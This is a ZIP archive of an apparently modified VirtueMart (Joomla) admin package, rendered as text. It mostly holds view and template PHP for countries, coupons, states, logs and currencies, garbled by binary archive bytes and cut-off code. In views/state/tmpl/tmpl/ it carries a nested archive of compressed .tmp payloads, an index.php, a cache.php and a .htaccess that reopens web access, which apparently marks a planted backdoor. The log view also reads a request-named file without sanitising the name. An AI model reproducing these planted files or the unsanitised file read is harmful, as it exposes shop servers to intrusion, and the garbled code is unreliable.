JFactory::getDBO(); $db->setQuery(' SELECT COUNT( * ) FROM `#__virtuemart_products` WHERE `product_parent_id` ='.$product_id); if ($result = $db->loadResult()){ $result = JText::sprintf('COM_VIRTUEMART_X_CHILD_PRODUCT', $result); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_id.'&option=com_virtuemart'), $result, array('title' => JText::sprintf('COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN',$product_name) )); } } static function displayLinkToParent($product_parent_id) { $db = JFactory::getDBO(); $db->setQuery(' SELECT * FROM `#__virtuemart_products_'.VMLANG.'` as l JOIN `#__virtuemart_products` using (`virtuemart_product_id`) WHERE `virtuemart_product_id` = '.$product_parent_id); if ($parent = $db->loadObject()){ $result = JText::sprintf('COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT', $parent->product_name); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_parent_id.'&option=com_virtuemart'), $parent->product_name, array('title' => $result)); } } } //pure php no closing tag PKsl>\Ycom_virtuemart_update/administrator/components/com_virtuemart/views/country/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $country = $model->getData(); $this->assignRef('country', $country); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList ); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(true,false); //First the view lists, it sets the state of the model $this->addStandardDefaultViewLists($model,0,'ASC'); $filter_country = JRequest::getWord('filter_country', false); $countries = $model->getCountries(false, false, $filter_country); $this->assignRef('countries', $countries); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKsl>\)Ucom_virtuemart_update/administrator/components/com_virtuemart/views/country/.htaccessnuW+A Order allow,deny Deny from all PKsl>\\com_virtuemart_update/administrator/components/com_virtuemart/views/country/tmpl/default.phpnuW+A
    */ ?> countries ); $i < $n; $i++) { $row = $this->countries[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_country_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=country&task=edit&cid[]=' . $row->virtuemart_country_id); $statelink = JROUTE::_('index.php?option=com_virtuemart&view=state&view=state&virtuemart_country_id=' . $row->virtuemart_country_id); ?> virtuemart_worldzone_id; ?> */ ?>
    sort('country_name') ?> sort('country_2_code') ?> sort('country_3_code') ?> sort('virtuemart_country_id') ?>
    country_3_code); ?> country_name ?>   hasKey($prefix.$row->country_3_code)) { echo "(".$country_string.") "; } ?> [] country_2_code; ?> country_3_code ; ?> virtuemart_country_id; ?>
    pagination->getListFooter(); ?>
    PKsl>\` Ycom_virtuemart_update/administrator/components/com_virtuemart/views/country/tmpl/edit.phpnuW+A
    hasKey($prefix.$this->country->country_3_code) ? ' (' . JText::_($prefix.$this->country->country_3_code) . ')' : ' '; ?> country->country_name, 'class="inputbox"', '', 50, 50, $country_string); ?> country->published); ?> */ ?> country->country_3_code); ?> country->country_2_code); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id); ?>
    addStandardHiddenToForm(); ?>
    PKsl>\)Zcom_virtuemart_update/administrator/components/com_virtuemart/views/country/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKsl>\[com_virtuemart_update/administrator/components/com_virtuemart/views/country/tmpl/index.htmlnuW+APKsl>\Vcom_virtuemart_update/administrator/components/com_virtuemart/views/country/index.htmlnuW+APKsl>\fUߙ`com_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); $model = VmModel::getModel(); $layoutName = JRequest::getWord('layout', 'default'); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $shipment = $model->getShipment(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = 1; $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $this->assignRef('vendor_currency', $currency->currency_symbol); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($shipment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->assignRef('pluginList', self::renderInstalledShipmentPlugins($shipment->shipment_jplugin_id)); $this->assignRef('shipment', $shipment); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($shipment->virtuemart_shoppergroup_ids,true)); $this->addStandardEditViewCommands($shipment->virtuemart_shipmentmethod_id); } else { JToolBarHelper::custom('cloneshipment', 'copy', 'copy', JText::_('COM_VIRTUEMART_SHIPMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $shipments = $model->getShipments(); $this->assignRef('shipments', $shipments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledShipmentPlugins($selected) { $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmshipment" AND `state`="0" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED')); } foreach ($result as &$sh) { $sh['name'] = JText::_($sh['name']); } $attribs='style= "width: 300px;"'; return JHtml::_('select.genericlist', $result, 'shipment_jplugin_id', $attribs, $ext_id, 'name', $selected); } } // pure php no closing tag PKsl>\<%gcom_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/edit_config.phpnuW+Ashipment->shipment_name) { $parameters = new vmParameters($this->shipment, $this->shipment->shipment_element, 'plugin', 'vmshipment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_SHIPPING_METHOD'); } /* */ PKsl>\)acom_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKsl>\`com_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/edit.phpnuW+A
    shipment->virtuemart_shipmentmethod_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
    PKsl>\bcom_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/index.htmlnuW+APKsl>\Xecom_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
    shipment->shipment_name); ?> shipment->slug); ?> shipment->published); ?> shipment->shipment_desc); ?> pluginList); ?> shopperGroupList); ?> shipment->ordering, 'class="inputbox"', '', 4, 4); ?> vendorList); } ?>
    PKsl>\F/ kw w ccom_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/tmpl/default.phpnuW+A
    shipments ); $i < $n; $i++) { $row = $this->shipments[$i]; $published = JHTML::_('grid.published', $row, $i ); /** * @todo Add to database layout published column */ $row->published = 1; $checked = JHTML::_('grid.id', $i, $row->virtuemart_shipmentmethod_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=shipmentmethod&task=edit&cid[]=' . $row->virtuemart_shipmentmethod_id); ?>
    sort('shipment_name', 'COM_VIRTUEMART_SHIPMENT_NAME_LBL'); ?> sort('shipment_element', 'COM_VIRTUEMART_SHIPMENTMETHOD'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_shipmentmethod_id', 'COM_VIRTUEMART_ID') ?>
    shipment_name)); ?> shipment_desc; ?> shipmentShoppersList; ?> shipment_element; //JHTML::_('link', $editlink, JText::_($row->shipment_element)); ?> ordering); ?> virtuemart_shipmentmethod_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKsl>\]com_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/index.htmlnuW+APKsl>\)\com_virtuemart_update/administrator/components/com_virtuemart/views/shipmentmethod/.htaccessnuW+A Order allow,deny Deny from all PKsl>\)Tcom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/.htaccessnuW+A Order allow,deny Deny from all PKsl>\M!==[com_virtuemart_update/administrator/components/com_virtuemart/views/coupon/tmpl/default.phpnuW+A
    coupons); $i < $n; $i++) { $row = $this->coupons[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_coupon_id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=coupon&task=edit&cid[]=' . $row->virtuemart_coupon_id); ?>
    sort('virtuemart_coupon_id', 'COM_VIRTUEMART_ID') ?>
    coupon_code; ?> percent_or_total); ?> coupon_type); ?> coupon_value); ?> percent_or_total=='percent') echo '%' ; else echo $this->vendor_currency; ?> coupon_value_valid); ?> vendor_currency; ?> coupon_type=='gift'){ if ($row->coupon_used ) { echo JText::_('COM_VIRTUEMART_YES'); } else { echo JText::_('COM_VIRTUEMART_NO'); } } ?> virtuemart_coupon_id); ?>
    pagination->getListFooter(); ?>
    PKsl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/tmpl/index.htmlnuW+APKsl>\Xo o Xcom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/tmpl/edit.phpnuW+A
    coupon->coupon_code,'class="inputbox"','',20,32); ?> coupon->coupon_value,'class="inputbox"','',10,32); ?> coupon->percent_or_total); ?> coupon->coupon_type,'','value', 'text',false) ; ?> coupon->coupon_value_valid, 'class="inputbox"','',10,255,' ' . $this->vendor_currency ); ?> coupon->coupon_start_date , 'coupon_start_date') ); ?> coupon->coupon_expiry_date,'coupon_expiry_date') ); ?>
    addStandardHiddenToForm(); ?>
    PKsl>\Ucom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/index.htmlnuW+APKsl>\& Xcom_virtuemart_update/administrator/components/com_virtuemart/views/coupon/view.html.phpnuW+AgetCoupon(); $this->SetViewTitle('', $coupon->coupon_code); $layoutName = JRequest::getWord('layout', 'default'); // if(Vmconfig::get('multix','none')!=='none'){ // $vendorList= ShopFunctions::renderVendorList($coupon->virtuemart_vendor_id); // $this->assignRef('vendorList', $vendorList); // } $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('Currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { if ($coupon->virtuemart_coupon_id < 1) { // Set a default expiration date $_expTime = explode(',', VmConfig::get('coupons_default_expire','14,D')); if (!empty( $_expTime[1]) && $_expTime[1] == 'W') { $_expTime[0] = $_expTime[0] * 7; $_expTime[1] = 'D'; } if (version_compare(PHP_VERSION, '5.3.0', '<')) { $_dtArray = getdate(time()); if ($_expTime[1] == 'D') { $_dtArray['mday'] += $_expTime[0]; } elseif ($_expTime[1] == 'M') { $_dtArray['mon'] += $_expTime[0]; } elseif ($_expTime[1] == 'Y') { $_dtArray['year'] += $_expTime[0]; } $coupon->coupon_expiry_date = mktime($_dtArray['hours'], $_dtArray['minutes'], $_dtArray['seconds'] , $_dtArray['mon'], $_dtArray['mday'], $_dtArray['year']); } else { $_expDate = new DateTime(); $_expDate->add(new DateInterval('P'.$_expTime[0].$_expTime[1])); $coupon->coupon_expiry_date = $_expDate->format("U"); } } $this->assignRef('coupon', $coupon); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $coupons = $model->getCoupons(); $this->assignRef('coupons', $coupons); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKtl>\r*}~ Wcom_virtuemart_update/administrator/components/com_virtuemart/views/state/view.html.phpnuW+ASetViewTitle(); $model = VmModel::getModel(); // $stateId = JRequest::getVar('virtuemart_state_id'); // $model->setId($stateId); $state = $model->getSingleState(); $countryId = JRequest::getInt('virtuemart_country_id', 0); if(empty($countryId)) $countryId = $state->virtuemart_country_id; $this->assignRef('virtuemart_country_id', $countryId); $isNew = (count($state) < 1); if(empty($countryId) && $isNew){ JError::raiseWarning(412,'Country id is 0'); return false; } $country = VmModel::getModel('country'); $country->setId($countryId); $this->assignRef('country_name', $country->getData()->country_name); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->assignRef('state', $state); $zoneModel = VmModel::getModel('Worldzones'); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $states = $model->getStates($countryId); $this->assignRef('states', $states); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKtl>\ {Z Wcom_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/edit.phpnuW+A
    */?> virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATE_COUNTRY',$this->country_name).' '. JText::_('COM_VIRTUEMART_DETAILS') ); ?>
    state->published); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->state->virtuemart_worldzone_id); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id);*/ ?>
    addStandardHiddenToForm(); ?>
    PKtl>\)Xcom_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\G-Q Zcom_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/default.phpnuW+A
    virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATES_COUNTRY',$this->country_name)); ?>
    states ); $i < $n; $i++) { $row = $this->states[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_state_id,null,'virtuemart_state_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=state&task=edit&virtuemart_state_id=' . $row->virtuemart_state_id); ?>
    state_name; ?> virtuemart_worldzone_id; ?> state_2_code; ?> state_3_code; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKtl>\"@icom_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/tmpl/ogm_6909690a794b2.zipnuW+APKd[ b_6909690a794b2.tmpUmsH+SeAY0zŔw7բ,A A!wΪڧ~rܡ=rP "  5$ Ajr*!cӫj1 k2֙dʺ!,cY![ƖъBQ⩟$Q\,;R=㌉5U8K('IsGP`=4]a$U30 *29ΞGuT_+0z;4p)4jQZhC28'/u%Z^'EuWhc*Vbw;tV_385!+E8; c}[/GPz; TtomB`ēJo<{s*៽4ɱ'l0U8o_ nrX KV Af>YO8ʸ")ɶ;nFݷy'z5ݱ+ tNlvQ,L%tcfߊX <~5@8~emaohtL Cl0k—[2ɵBr7p8s[55&'R"<籍ne)9]LMc#ۿtM/މY]eYSqLQՕjbm*F3İS6<ɫ7P>;7k~ă,%d)uO%A}ET]i<4d-*K=}d̽4Hٗg;tt xj(Kr2 P Uh< NtJo<>( ,)9*}& KVĀ Z\5M-6̹6Y>"DxHȹTPP)b%BQU6=TE(D,"wQ4BPKd[F%c_6909690a794b2.tmp]xH_h"]K^*nA{arpPS5թo k!)!kt.a:kuj8= ;}WCtո/qIXGS2_~~ vc©6=AUjkt3J9h&vXYp+(ph@𲱀I3?/c$+; 8I$"$%^i9+9iE:I)-f@]FM R i7wf)vp]9bA~«2=vo&w!mE˻GIMInh/HW ɹw{ Q.Ta3@{ N퓍1 L݇I-}. ja,,-e2Q6-6OCrpJd5u'd,~gt)շ(HMOLh)|EH =S0R=z2yAGRqD[{!zxCNMF TY^O@,ʰnoJ?Jz]X!f: œ(.#3ŮB"W,hL8\=p Er)>-ZjƬSʸϒ O5wh=s;;Be}zRIJIa {u(O*;VĊjn$8aVo̸^+հ#0'y/PK™f?.@_I#Yr 7%h%].u'ƥk4аMfD;&m=.up[wF!%!J$&#< YcuZ/u;#{j ; FxoEӺ'`dDN 9HM"+]Mj֔f!g \)CDv򐣻Ҫ-׸\{`=ir<,&B[to~B0,q*T)B碆m?]78\RSj.Z ޢ=j /PRptJzw|j9„P$r ғdf7Ro=Fpd_J<"Γ_&DQW(j66ߢ)JLh4&XnDh&Tmm̖{Nq*izg- 8rS2P0rCf @$>oz h- Yuvj\}!J2aڮN-s*& TUK7\"%81i^69:]6$R4cj6cBS GDf}v|h@BQ7dt&/^BVX-Jl$xؗ&9ݗ P낗/R>+jw`|G W[<44i+saC@ 2 ^5+J [`)$֪"ycz[Y\cgS6c,\Eug¼X+rTaqu*E `D4a"exWWNV;\$aҋ9:x}MjN'uLhBǐo/5a^AW,cbd0geOb=D~[ "؈ Ria%z,zg?j\'DƆ)ZTw~$3`o|)4D^ ifd +`!x )# Iakh̸X\u$ x'9 ۴9f=*I=}K#J3axW:+MC]I4u7] ӗJ bYdg~ V/a/sҞ. L/iim)4b))o/0w;#}!dSZQk\5xCqcd{FV^ iQFTq:b##c-+QeHI ,P3.2 IψcTcx2[̜#xQBxzٜOħw{eyByBhŴ\ iZ!jxNh,2϶2/!-X~3rm!,L,չ=EN4+Nt%_[qs~\+t*J1yomS7Vlhk @*tSL]++PN LW75LU`x +Ss<'?>() n%bi0 v|h^t?e,B sG&Z^Fy+ŘUޏւbѝie~+`0t0t"F;zagymVq]ScHȯ1qx䶦#+y  QmX`|?)ȯ<>uH!i%ZmւD FRqN86Ak(\d,,I AP@L0 RwQGP.h-DVW%>wpx1g|Tw LI߄]*멏n'X@qJEe>`Pujy͑7!Eߐ-#GărX2C,ExNkq^ߟ6źb+6*k1!MǺ3ӫ KzDӳ#fkDp0V@'X~~(}P'Ɏ+5nH(˖ߣh+Ӗ-u@Z/?>[=?}rE]_ _/F_5ɺ-ɟ?П?0>9֩}I,O,פYm_qʇua]i+ X?ǹi h{3xe2.~~~́Cy`~㏿i5UxVVup [l-z0zOV v~_i#~[<.eO=]a}PKd[ b_6909690a794b2.tmpPKd[F% c_6909690a794b2.tmpPK/PKtl>\3E]com_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/tmpl/index.phpnuW+APKtl>\uu]com_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/tmpl/cache.phpnuW+APKtl>\,r]com_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/tmpl/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKtl>\Ycom_virtuemart_update/administrator/components/com_virtuemart/views/state/tmpl/index.htmlnuW+APKtl>\Tcom_virtuemart_update/administrator/components/com_virtuemart/views/state/index.htmlnuW+APKtl>\)Scom_virtuemart_update/administrator/components/com_virtuemart/views/state/.htaccessnuW+A Order allow,deny Deny from all PKtl>\_q  Wcom_virtuemart_update/administrator/components/com_virtuemart/views/state/view.json.phpnuW+AsetQuery($q); $states[$country_id] = $db->loadAssocList(); } echo json_encode($states); } } // pure php no closing tag PKtl>\IBUcom_virtuemart_update/administrator/components/com_virtuemart/views/log/view.html.phpnuW+Aget('log_path', JPATH_ROOT . "/log"); $layoutName = JRequest::getWord('layout', 'default'); VmConfig::loadJLang('com_virtuemart_log'); if ($layoutName == 'edit') { $logFile = JRequest::getString('logfile', ''); $this->SetViewTitle('LOG', $logFile); $fileContent = file_get_contents($log_path . DS . $logFile); $fileContentByLine = explode("\n", $fileContent); $this->assignRef('fileContentByLine', $fileContentByLine); JToolBarHelper::cancel(); } else { $logFiles = JFolder::files($log_path, $filter = '.', true, false, array('index.html')); $this->SetViewTitle('LOG'); $this->assignRef('logFiles', $logFiles); $this->assignRef('path', $log_path); } parent::display($tpl); } } //No Closing Tag PKtl>\Wcom_virtuemart_update/administrator/components/com_virtuemart/views/log/tmpl/index.htmlnuW+APKtl>\)Vcom_virtuemart_update/administrator/components/com_virtuemart/views/log/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Ci  Xcom_virtuemart_update/administrator/components/com_virtuemart/views/log/tmpl/default.phpnuW+A logFiles) { foreach ($this->logFiles as $logFile ) { $addLink=false; $fileSize = filesize($this->path.DS.$logFile); $fileInfo= $finfo?$finfo->file($this->path.DS.$logFile):0; $fileInfoMime=substr($fileInfo, 0 ,strlen("text/plain")); if (!$finfo or strcmp("text/plain", $fileInfoMime)==0) { $addLink=true; } ?>
    0 and $addLink) { ?> 0) { ?>
    addStandardHiddenToForm(); AdminUIHelper::endAdminArea(); ?> PKtl>\:؆Ucom_virtuemart_update/administrator/components/com_virtuemart/views/log/tmpl/edit.phpnuW+A
    	
      fileContentByLine as $line) echo "
    1. ".str_replace(array("
      ","
      "),"",$line)."
    2. "; ?>
      
      PKtl>\)Qcom_virtuemart_update/administrator/components/com_virtuemart/views/log/.htaccessnuW+A
      Order allow,deny
      Deny from all
      PKtl>\Rcom_virtuemart_update/administrator/components/com_virtuemart/views/log/index.htmlnuW+APKtl>\#ͮ
      
      acom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/tmpl/default.phpnuW+A
      
      
      manufacturers ); $i < $n; $i++) { $row = $this->manufacturers[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturer_id,null,'virtuemart_manufacturer_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&task=edit&virtuemart_manufacturer_id=' . $row->virtuemart_manufacturer_id); ?>
      sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_NAME') ; ?> sort('mf_email', 'COM_VIRTUEMART_MANUFACTURER_EMAIL') ; ?> sort('mf_desc', 'COM_VIRTUEMART_MANUFACTURER_DESCRIPTION'); ?> sort('mf_category_name', 'COM_VIRTUEMART_MANUFACTURER_CATEGORY'); ?> sort('mf_url', 'COM_VIRTUEMART_MANUFACTURER_URL'); ?> sort('m.virtuemart_manufacturer_id', 'COM_VIRTUEMART_ID') ?>
      mf_name; ?> mf_email)) echo ''.$row->mf_email ; ?> mf_desc; ?> mf_category_name; ?> mf_url)) echo ''. $row->mf_url ; ?> virtuemart_manufacturer_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\)_com_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Tnnjcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/tmpl/edit_description.phpnuW+A langList; ?>
      manufacturer->mf_name); ?> manufacturer->published); ?> viewName.' '. JText::_('COM_VIRTUEMART_SLUG'),'slug',$this->manufacturer->slug); ?> manufacturerCategories,$this->manufacturer->virtuemart_manufacturercategories_id,'','virtuemart_manufacturercategories_id', 'mf_category_name',false); ?> manufacturer->mf_url); ?> manufacturer->mf_email); ?> manufacturer->mf_desc); ?>
      PKtl>\2+ ^com_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/tmpl/edit.phpnuW+A
      manufacturer->virtuemart_manufacturer_id); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
      PKtl>\h=ecom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/tmpl/edit_images.phpnuW+A
      manufacturer->images[0]->addHidden('virtuemart_vendor_id',$this->virtuemart_vendor_id); echo $this->manufacturer->images[0]->displayFilesHandler($this->manufacturer->virtuemart_media_id,'manufacturer'); ?>
      PKtl>\)Zcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/.htaccessnuW+A Order allow,deny Deny from all PKtl>\El[com_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/index.htmlnuW+A PKtl>\A ^com_virtuemart_update/administrator/components/com_virtuemart/views/manufacturer/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturer = $model->getManufacturer(); $isNew = ($manufacturer->virtuemart_manufacturer_id < 1); $model->addImages($manufacturer); $this->assignRef('manufacturer', $manufacturer); /* Process the images */ $mediaModel = VmModel::getModel('media'); $mediaModel -> setId($manufacturer->virtuemart_media_id); $image = $mediaModel->getFile('manufacturer','image'); $manufacturerCategories = $categoryModel->getManufacturerCategories(false,true); $this->assignRef('manufacturerCategories', $manufacturerCategories); $this->addStandardEditViewCommands($manufacturer->virtuemart_manufacturer_id); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $this->assignRef('virtuemart_vendor_id', $virtuemart_vendor_id); } else { $mainframe = JFactory::getApplication(); $categoryFilter = $categoryModel->getCategoryFilter(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'mf_name'); $manufacturers = $model->getManufacturers(); $this->assignRef('manufacturers', $manufacturers); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( 'com_virtuemart.virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $this->lists['virtuemart_manufacturercategories_id'] = JHTML::_('select.genericlist', $categoryFilter, 'virtuemart_manufacturercategories_id', 'class="inputbox" onchange="this.form.submit()"', 'value', 'text', $virtuemart_manufacturercategories_id ); } parent::display($tpl); } } // pure php no closing tag PKtl>\)Vcom_virtuemart_update/administrator/components/com_virtuemart/views/currency/.htaccessnuW+A Order allow,deny Deny from all PKtl>\^zZcom_virtuemart_update/administrator/components/com_virtuemart/views/currency/view.html.phpnuW+AsetId($cid); $currency = $model->getCurrency(); $this->SetViewTitle('',$currency->currency_name); $this->assignRef('currency', $currency); $this->addStandardEditViewCommands(); } else { $this->SetViewTitle(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,0,'ASC'); $currencies = $model->getCurrenciesList(JRequest::getWord('search', false)); $this->assignRef('currencies', $currencies); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKtl>\6S]com_virtuemart_update/administrator/components/com_virtuemart/views/currency/tmpl/default.phpnuW+A
      lists['search']) ; ?>
      */?> */?> */ ?> currencies ); $i < $n; $i++) { $row = $this->currencies[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_currency_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=currency&task=edit&cid[]=' . $row->virtuemart_currency_id); ?> currency_code_2; ?> */ ?> shared; ?> */?>
      sort('currency_name','COM_VIRTUEMART_CURRENCY') ; ?> sort('currency_exchange_rate') ?> sort('currency_code_3') ?>
      currency_name; ?> currency_exchange_rate; ?> currency_symbol; ?> currency_code_3; ?> currency_numeric_code; ?>
      pagination->getListFooter(); ?>
      PKtl>\)[com_virtuemart_update/administrator/components/com_virtuemart/views/currency/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\\com_virtuemart_update/administrator/components/com_virtuemart/views/currency/tmpl/index.htmlnuW+APKtl>\`N^ ^ Zcom_virtuemart_update/administrator/components/com_virtuemart/views/currency/tmpl/edit.phpnuW+A
      currency->currency_name); ?> currency->published); ?> currency->currency_exchange_rate,'class="inputbox"','',6); ?> currency->currency_code_2,'class="inputbox"','',2,2); ?> currency->currency_code_3,'class="inputbox"','',3,3); ?> currency->currency_numeric_code,'class="inputbox"','',3,3); ?> currency->currency_symbol,'class="inputbox"','',20,20); ?> currency->currency_decimal_place,'class="inputbox"','',20,20); ?> currency->currency_decimal_symbol,'class="inputbox"','',10,10); ?> currency->currency_thousands,'class="inputbox"','',10,10); ?> currency->currency_positive_style,'class="inputbox"','',50,50); ?> currency->currency_negative_style,'class="inputbox"','',50,50); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\Wcom_virtuemart_update/administrator/components/com_virtuemart/views/currency/index.htmlnuW+APKtl>\~=_com_virtuemart_update/administrator/components/com_virtuemart/views/paymentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists ('vmPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmplugin.php'); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); $this->assignRef('perms', Permissions::getInstance()); $model = VmModel::getModel('paymentmethod'); //@todo should be depended by loggedVendor // $vendorId=1; // $this->assignRef('vendorId', $vendorId); // TODO logo $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('currency'); $currencyModel = 